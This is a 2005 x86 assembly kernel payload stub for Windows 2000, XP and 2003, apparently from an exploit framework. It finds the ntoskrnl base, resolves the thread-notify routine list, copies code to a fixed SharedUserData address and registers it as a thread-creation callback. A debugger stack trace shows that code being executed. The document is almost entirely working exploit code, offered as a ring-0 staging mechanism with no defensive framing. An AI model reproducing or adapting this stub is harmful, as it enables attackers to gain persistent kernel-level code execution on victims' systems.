bits 32 ; ; 11/2005 ; ; This stub implements the following algorithm: ; ; - Find the base address of ntoskrnl.exe ; - Find PspCreateThreadNotifyRoutine ; - Via PsRemoveCreateThreadNotifyRoutine (XP, 2003) ; - Via PsSetCreateThreadNotifyRoutine (2000) ; - Copy code to 0xffdffd70 ; - Install notify routine directly ; - Perform safe cleanup ; ; kd> kv ; ChildEBP RetAddr Args to Child ; WARNING: Frame IP not in any known module. Following frames may be wrong. ; fa952c58 805d96ca 0000025c 00000270 00000000 0xffdffd70 ; fa952d08 8056bf03 00000000 808db580 00000000 nt!PspExitThread+0xc6 (FPO: [Non-Fpo]) ; fa952d28 8056c7bd 808db580 00000000 fa952d64 nt!PspTerminateThreadByPointer+0x50 (FPO: [Non-Fpo]) ; fa952d54 804d4e91 00000000 00000000 00000000 nt!NtTerminateProcess+0x116 (FPO: [Non-Fpo]) ; fa952d54 7ffe0304 00000000 00000000 00000000 nt!KiSystemService+0xc4 (FPO: [0,0] TrapFrame @ fa952d64) ; 0006fda8 77f7f3cf 77e75ca4 ffffffff 00000000 SharedUserData!SystemCallStub+0x4 (FPO: [0,0,0]) ; 0006fdac 77e75ca4 ffffffff 00000000 77c4299a ntdll!ZwTerminateProcess+0xc (FPO: [2,0,0]) ; 0006fea4 77e75cc6 00000000 77e8f3b0 ffffffff kernel32!_ExitProcess+0x57 (FPO: [Non-Fpo]) ; 0006feb8 77c379c8 00000000 77c37ad9 00000000 kernel32!ExitProcess+0x11 (FPO: [Non-Fpo]) ; 0006fec0 77c37ad9 00000000 77e79c3d 77c37aea msvcrt!__crtExitProcess+0x2f (FPO: [1,0,0]) ; 0006fecc 77c37aea 00000000 00000000 00000000 msvcrt!_cinit+0xe4 (FPO: [2,0,1]) ; 0006fedc 01004b36 00000000 0100e478 00000000 msvcrt!exit+0xe (FPO: [1,0,1]) ; 0006fee4 0100e478 00000000 000001be 00000000 net1!MyExit+0xf (FPO: [1,0,0]) ; 0006ff18 01004b20 00000000 00000000 02100248 net1!NetcmdExit+0x6f (FPO: [Non-Fpo]) ; 0006ff44 0100e0b1 00000000 00000000 002629a0 net1!main+0x266 (FPO: [Non-Fpo]) ; 0006ffc0 77e7eb69 03010302 02100248 7ffdf000 net1!mainCRTStartup+0x125 (FPO: [Non-Fpo]) ; 0006fff0 00000000 0100df8c 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo]) ; ; on 2k, the count sym is too far away/unpredictable, but it's safe to call outside of ; passive level ; entry: cld mov eax, [0xffdff12c] find_nt: dec eax xor ax, ax cmp word [eax], 0x5a4d jnz find_nt xchg eax, ebp check_os: mov edi, 0xffdf0270 cmp byte [edi], 0x1 rol di, 1 push edi jnz win2k winxp: mov eax, edi add eax, byte 0x8 stosd stosd push edi push byte 0x6 ; offset inside sym push byte 0x13 ; offset of string to compare jmp short resolve_syms win2k: push edi push byte -0x7f ; signed means we call push byte 0x10 ; offset of string to compare resolve_syms: pop edx xor ecx, ecx mov edi, [ebp + 0x3c] mov edi, [ebp + edi + 0x78] add edi, ebp mov esi, [edi + 0x20] add esi, ebp find_sym: lodsd inc ecx add eax, ebp cmp dword [eax+edx], 0x746f4e64 ; dNot jnz find_sym get_sym_address: dec ecx mov ebx, [edi + 0x24] add ebx, ebp mov cx, [ebx + ecx * 2] mov ebx, [edi + 0x1c] add ebx, ebp mov eax, [ebx + ecx * 4] add eax, ebp found_sym: pop ecx test ecx, ecx mov ebx, dword [eax + ecx] jmp short get_stage_address copy_payload: pop esi pop edi push byte 0x1 pop ecx rep movsd install_notify_routine: js short call_sym pop edi mov dword [ebx], edi inc dword [ebx+0x20] jmp short done call_sym: call eax done: ret get_stage_address: call copy_payload ring0_stage: int3 retn 0x8